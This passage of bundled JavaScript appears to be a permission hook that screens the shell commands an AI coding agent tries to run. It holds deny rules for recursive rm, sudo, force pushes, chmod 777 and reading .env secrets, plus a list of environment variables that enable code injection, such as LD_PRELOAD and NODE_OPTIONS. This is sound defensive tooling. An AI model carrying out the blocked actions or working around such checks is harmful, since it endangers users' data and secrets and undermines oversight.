files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n {\n name: \"rm-recursive\",\n match: /^rm$/,\n action: \"deny\",\n when: (tokens) => isRmRecursive(tokens),\n reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n },\n {\n name: \"sudo\",\n match: /^sudo$/,\n action: \"deny\",\n reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n },\n {\n name: \"git-force-push\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitForcePush(tokens),\n reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n },\n {\n name: \"git-reset-hard\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n reason: \"Don't `reset --hard` on main. Create a branch first.\"\n },\n {\n name: \"git-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx),\n reason: \"Git write operations (push, commit, reset, merge, etc.) are not allowed. Ask the user to run these manually.\"\n },\n {\n name: \"chmod-777\",\n match: /^chmod$/,\n action: \"deny\",\n when: (tokens) => isChmod777(tokens),\n reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n },\n {\n name: \"node-modules-write\",\n match: /./,\n action: \"deny\",\n when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n reason: NODE_MODULES_WRITE_REASON\n },\n {\n name: \"env-file-read\",\n match: /^(cat|head|tail|less|more|grep)$/,\n action: \"deny\",\n when: (tokens) => tokensTargetEnvFile(tokens),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"npx-redirect\",\n match: /^npx$/,\n action: \"deny\",\n reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n }\n];\nconst allowRules = [\n {\n name: \"vitest\",\n match: /^vitest$/,\n action: \"allow\"\n },\n {\n name: \"jest\",\n match: /^jest$/,\n action: \"allow\"\n },\n {\n name: \"tsc\",\n match: /^tsc$/,\n action: \"allow\"\n },\n {\n name: \"tsdown\",\n match: /^tsdown$/,\n action: \"allow\"\n },\n {\n name: \"bst\",\n match: /^bst$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens)\n },\n {\n name: \"oxlint\",\n match: /^oxlint$/,\n action: \"allow\"\n },\n {\n name: \"oxfmt\",\n match: /^oxfmt$/,\n action: \"allow\"\n },\n {\n name: \"eslint\",\n match: /^eslint$/,\n action: \"allow\"\n },\n {\n name: \"prettier\",\n match: /^prettier$/,\n action: \"allow\"\n },\n {\n name: \"biome\",\n match: /^biome$/,\n action: \"allow\"\n },\n {\n name: \"knip\",\n match: /^knip$/,\n action: \"allow\"\n },\n {\n name: \"cat\",\n match: /^cat$/,\n action: \"allow\"\n },\n {\n name: \"head\",\n match: /^head$/,\n action: \"allow\"\n },\n {\n name: \"tail\",\n match: /^tail$/,\n action: \"allow\"\n },\n {\n name: \"grep\",\n match: /^grep$/,\n action: \"allow\"\n },\n {\n name: \"ls\",\n match: /^ls$/,\n action: \"allow\"\n },\n {\n name: \"wc\",\n match: /^wc$/,\n action: \"allow\"\n },\n {\n name: \"uniq\",\n match: /^uniq$/,\n action: \"allow\"\n },\n {\n name: \"diff\",\n match: /^diff$/,\n action: \"allow\"\n },\n {\n name: \"echo\",\n match: /^echo$/,\n action: \"allow\"\n },\n {\n name: \"pwd\",\n match: /^pwd$/,\n action: \"allow\"\n },\n {\n name: \"which\",\n match: /^which$/,\n action: \"allow\"\n },\n {\n name: \"dirname\",\n match: /^dirname$/,\n action: \"allow\"\n },\n {\n name: \"basename\",\n match: /^basename$/,\n action: \"allow\"\n },\n {\n name: \"realpath\",\n match: /^realpath$/,\n action: \"allow\"\n },\n {\n name: \"npm\",\n match: /^npm$/,\n action: \"allow\",\n when: (tokens) => isNpmReadOp(tokens)\n },\n {\n name: \"test\",\n match: /^test$/,\n action: \"allow\"\n },\n {\n name: \"bracket-test\",\n match: /^\\[$/,\n action: \"allow\"\n },\n {\n name: \"cd\",\n match: /^cd$/,\n action: \"allow\"\n },\n {\n name: \"true\",\n match: /^true$/,\n action: \"allow\"\n },\n {\n name: \"colon\",\n match: /^:$/,\n action: \"allow\"\n },\n {\n name: \"find\",\n match: /^find$/,\n action: \"allow\",\n when: (tokens) => isFindSafe(tokens)\n },\n {\n name: \"sort\",\n match: /^sort$/,\n action: \"allow\",\n when: (tokens) => isSortSafe(tokens)\n },\n {\n name: \"git\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOp(tokens)\n },\n {\n name: \"git-safe-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx)\n },\n {\n name: \"git-feature-branch-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n },\n {\n name: \"git-safe-push\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n },\n {\n name: \"pnpm\",\n match: /^pnpm$/,\n action: \"allow\",\n when: (tokens) => isPnpmSafe(tokens)\n },\n {\n name: \"cp\",\n match: /^cp$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mkdir\",\n match: /^mkdir$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"touch\",\n match: /^touch$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mv-docs\",\n match: /^mv$/,\n action: \"allow\",\n when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n },\n {\n name: \"sed-docs\",\n match: /^sed$/,\n action: \"allow\",\n when: (tokens, ctx) => isSedDocsSafe(tokens, ctx)\n }\n];\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n allow: array(string().min(1)).default([]),\n protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error — safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n try {\n execFileSync(\"git\", [\n \"ls-files\",\n \"--error-unmatch\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n execFileSync(\"git\", [\n \"diff\",\n \"--quiet\",\n \"HEAD\",\n \"--\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n return true;\n } catch {\n return false;\n }\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n const root = findWorkspaceRoot(cwd) ?? cwd;\n const settingsFile = join(root, SETTINGS_PATH);\n const empty = {\n allow: [],\n protectedBranches: []\n };\n if (!existsSync(settingsFile)) return empty;\n if (!isFileClean(root, SETTINGS_PATH)) return empty;\n try {\n const raw = readFileSync(settingsFile, \"utf-8\");\n const parsed = JSON.parse(raw);\n const result = BstHookSettingsSchema.safeParse(parsed);\n if (!result.success) return empty;\n return {\n allow: result.data.allow,\n protectedBranches: result.data.protectedBranches\n };\n } catch {\n return empty;\n }\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n const parts = pattern.split(/\\s+/).filter(Boolean);\n if (parts.length === 0) return false;\n if (parts[0] !== cmdName) return false;\n const patternArgs = parts.slice(1);\n const actualArgs = tokens.slice(1);\n for (let i = 0; i < patternArgs.length; i++) {\n if (i >= actualArgs.length) return false;\n if (actualArgs[i] !== patternArgs[i]) return false;\n }\n return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n const scripts = readScripts(cwd);\n if (!scripts) return null;\n const main = scripts[scriptName];\n if (typeof main !== \"string\") return null;\n const pre = scripts[`pre${scriptName}`];\n const post = scripts[`post${scriptName}`];\n return {\n pre: typeof pre === \"string\" ? pre : null,\n main,\n post: typeof post === \"string\" ? post : null\n };\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n if (!pkgDir) return null;\n const script = resolveScript(scriptName, pkgDir);\n if (!script) return null;\n return {\n ...script,\n pkgDir\n };\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n const results = [];\n for (const pkgDir of pkgDirs) {\n const resolved = resolveScript(scriptName, pkgDir);\n if (resolved) results.push({\n ...resolved,\n pkgDir\n });\n }\n return results;\n}\n/**\n* Find the pnpm workspace root by walking up from `cwd` until a\n* `pnpm-workspace.yaml` file is found. Returns `null` if none is found\n* before reaching the filesystem root.\n*/\nfunction findWorkspaceRoot(cwd) {\n let dir = resolve(cwd);\n while (true) {\n if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n const patterns = readWorkspacePatterns(rootDir);\n if (!patterns) return null;\n const dirs = [];\n for (const pattern of patterns) {\n if (!pattern.endsWith(\"/*\")) continue;\n const parentDir = resolve(rootDir, pattern.slice(0, -2));\n let entries;\n try {\n entries = readdirSync(parentDir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n const entryDir = join(parentDir, entry);\n try {\n if (!statSync(entryDir).isDirectory()) continue;\n } catch {\n continue;\n }\n dirs.push(entryDir);\n }\n }\n return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n for (const entryDir of pkgDirs) {\n const name = readPackageName(entryDir);\n if (name === pkgName || name === `@${pkgName}`) return entryDir;\n if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n if (name) {\n if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n }\n }\n return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n try {\n const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n if (packagesIdx === -1) return null;\n const patterns = [];\n for (let i = packagesIdx + 1; i < lines.length; i++) {\n const line = lines[i];\n const match = /^\\s+-\\s+(.+)$/.exec(line);\n if (!match) break;\n patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n }\n return patterns.length > 0 ? patterns : null;\n } catch {\n return null;\n }\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n try {\n const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n const result = PackageNameSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.name;\n } catch {\n return null;\n }\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n try {\n const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.scripts;\n } catch {\n return null;\n }\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) — safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n \"LD_PRELOAD\",\n \"LD_LIBRARY_PATH\",\n \"DYLD_INSERT_LIBRARIES\",\n \"NODE_OPTIONS\",\n \"PYTHONPATH\",\n \"PYTHONSTARTUP\",\n \"PERL5OPT\",\n \"PERL5LIB\",\n \"RUBYOPT\",\n \"RUBYLIB\",\n \"BASH_ENV\",\n \"ENV\",\n \"npm_config_prefix\",\n \"npm_config_registry\",\n \"EDITOR\",\n \"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n \"GIT_CONFIG_\",\n \"GIT_PAGER\",\n \"GIT_SSH_COMMAND\",\n \"GIT_EDITOR\",\n \"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n if (DANGEROUS_ENV_VARS.has(name)) return true;\n return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n const tokenResult = tokenize(segment);\n if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n const tokens = tokenResult.tokens;\n if (tokens[0] !== \"cd\") return null;\n const dir = tokens[1];\n if (path.isAbsolute(dir)) return dir;\n return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n if (ctx.depth >= MAX_EVAL_DEPTH) return {\n action: \"passthrough\",\n rule: null,\n reason: \"max evaluation depth exceeded\"\n };\n const trimmed = command.trim();\n if (!trimmed) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const segments = splitCommand(trimmed);\n if (segments.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let firstPassthrough = null;\n let lastAllow = null;\n const currentCtx = { ...ctx };\n for (const segment of segments) {\n if (segment.operator === \"&&\") {\n const cdDir = extractCdDir(segment.command, currentCtx);\n if (cdDir) currentCtx.cwd = cdDir;\n }\n const result = evaluateSegment(segment.command, currentCtx);\n if (result.action === \"deny\") return result;\n if (result.action === \"passthrough\") {\n if (!firstPassthrough) firstPassthrough = result;\n }\n if (result.action === \"allow\") lastAllow = result;\n }\n if (firstPassthrough) return firstPassthrough;\n if (segments.length === 1 && lastAllow) return lastAllow;\n return {\n action: \"allow\",\n rule: \"all-segments\",\n reason: null\n };\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n const pkgDir = resolved.pkgDir ?? ctx.cwd;\n const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n ...ctx,\n insideResolvedScript: true\n } : ctx;\n if (resolved.pre) {\n const preResult = evaluateCommand(resolved.pre, innerCtx);\n if (preResult.action !== \"allow\") return preResult;\n }\n const mainResult = evaluateCommand(resolved.main, innerCtx);\n if (mainResult.action !== \"allow\") return mainResult;\n if (resolved.post) {\n const postResult = evaluateCommand(resolved.post, innerCtx);\n if (postResult.action !== \"allow\") return postResult;\n }\n return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n const trimmed = rawSegment.trim();\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const tokenResult = tokenize(rawSegment);\n if (!tokenResult.ok) return {\n action: \"passthrough\",\n rule: null,\n reason: tokenResult.error\n };\n let tokens = tokenResult.tokens;\n if (tokens.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let envSkipped = 0;\n while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n const varName = tokens[envSkipped].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envSkipped++;\n }\n if (envSkipped >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n tokens = tokens.slice(envSkipped);\n if (writesIntoNodeModules(tokens, ctx)) return {\n action: \"deny\",\n rule: \"node-modules-write\",\n reason: NODE_MODULES_WRITE_REASON\n };\n const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n if (!injection.safe) return {\n action: \"passthrough\",\n rule: null,\n reason: injection.reason\n };\n if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n if (token === \">\" || token === \">>\") {\n if (tokens[i + 1] === \"/dev/null\") continue;\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"output redirect to file\"\n };\n }\n if (token === \"<\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"input redirect\"\n };\n }\n const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n ]);\n tokens = tokens.filter((t, i) => {\n if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n return true;\n });\n const cmdName = path.basename(tokens[0]);\n if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (cmdName === \"env\") {\n let envIdx = 1;\n while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n const varName = tokens[envIdx].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envIdx++;\n }\n if (envIdx >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n if (cmdName === \"npm\") return evaluateNpm(tokens);\n if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"node eval\"\n };\n for (const rule of denyRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n }\n for (const rule of allowRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n if (ctx.repoAllowPatterns) {\n for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n action: \"allow\",\n rule: `repo:${cmdName}`,\n reason: null\n };\n }\n if (ctx.insideResolvedScript) return {\n action: \"allow\",\n rule: \"resolved-script\",\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: `no rule matched: ${cmdName}`\n };\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n for (let i = from; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n name: void 0,\n filterIdx: i\n };\n if (t === \"-r\" || t === \"--recursive\") {\n state.isRecursive = true;\n continue;\n }\n if (t === \"-w\" || t === \"--workspace-root\") {\n state.isWorkspaceRoot = true;\n continue;\n }\n if (t === \"-C\" || t === \"--dir\") {\n state.dirOverride = subTokens[++i];\n continue;\n }\n if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n state.dirOverride = t.split(\"=\", 2)[1];\n continue;\n }\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n return { name: t };\n }\n return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n const subTokens = tokens.slice(1);\n const state = {\n isRecursive: false,\n isWorkspaceRoot: false,\n dirOverride: void 0\n };\n const scan = scanPnpmFlags(subTokens, 0, state);\n if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n const subcommand = scan.name;\n const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n if (!subcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (subcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (subcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if (subcommand === \"exec\") {\n const execArgs = subTokens.slice(subcommandIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n let scriptName;\n let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n if (subcommand === \"run\") {\n const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n ({isRecursive, isWorkspaceRoot, dirOverride} = state);\n if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n if (!runScan.name) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm run without script name\"\n };\n scriptName = runScan.name;\n } else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n else {\n for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n }\n if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n if (isWorkspaceRoot) {\n const root = findWorkspaceRoot(ctx.cwd);\n if (!root) return {\n action: \"passthrough\",\n rule: null,\n reason: \"workspace root not found\"\n };\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: root\n });\n }\n if (dirOverride) {\n const resolved = path.resolve(ctx.cwd, dirOverride);\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: resolved\n });\n }\n return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n const resolved = resolveScript(scriptName, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (res !== \"allow\") return res;\n return {\n action: \"allow\",\n rule: `pnpm-script:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n if (!resolved || resolved.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm recursive\"\n };\n for (const pkg of resolved) {\n const res = evaluateResolvedScript(pkg, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: pkg.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-recursive:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n if (!rule.when || rule.when(tokens, {\n cwd: \"\",\n depth: 0\n })) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"deny\",\n rule: \"npm-redirect\",\n reason: getNpmRedirectReason(tokens)\n };\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package — all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n const filterPkgs = [];\n let cursor = filterIdx;\n while (cursor < subTokens.length) {\n const t = subTokens[cursor];\n if (t === \"--filter\" || t === \"-F\") {\n const pkg = subTokens[cursor + 1];\n if (!pkg || pkg.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 2;\n } else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n if (!pkg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 1;\n } else break;\n }\n if (filterPkgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n let filterSubcommand;\n let subcmdIdx = -1;\n for (let i = cursor; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t === \"-F\") {\n i += 1;\n continue;\n }\n if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n filterSubcommand = t;\n subcmdIdx = i;\n break;\n }\n if (!filterSubcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without subcommand\"\n };\n if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter install with package arg\"\n };\n return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n }\n if (filterSubcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (filterSubcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if ((/* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"licenses\",\n \"audit\"\n ])).has(filterSubcommand)) return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n if (filterSubcommand === \"exec\") {\n const execArgs = subTokens.slice(subcmdIdx + 1);\n if (execArgs.length === 0) return {\n 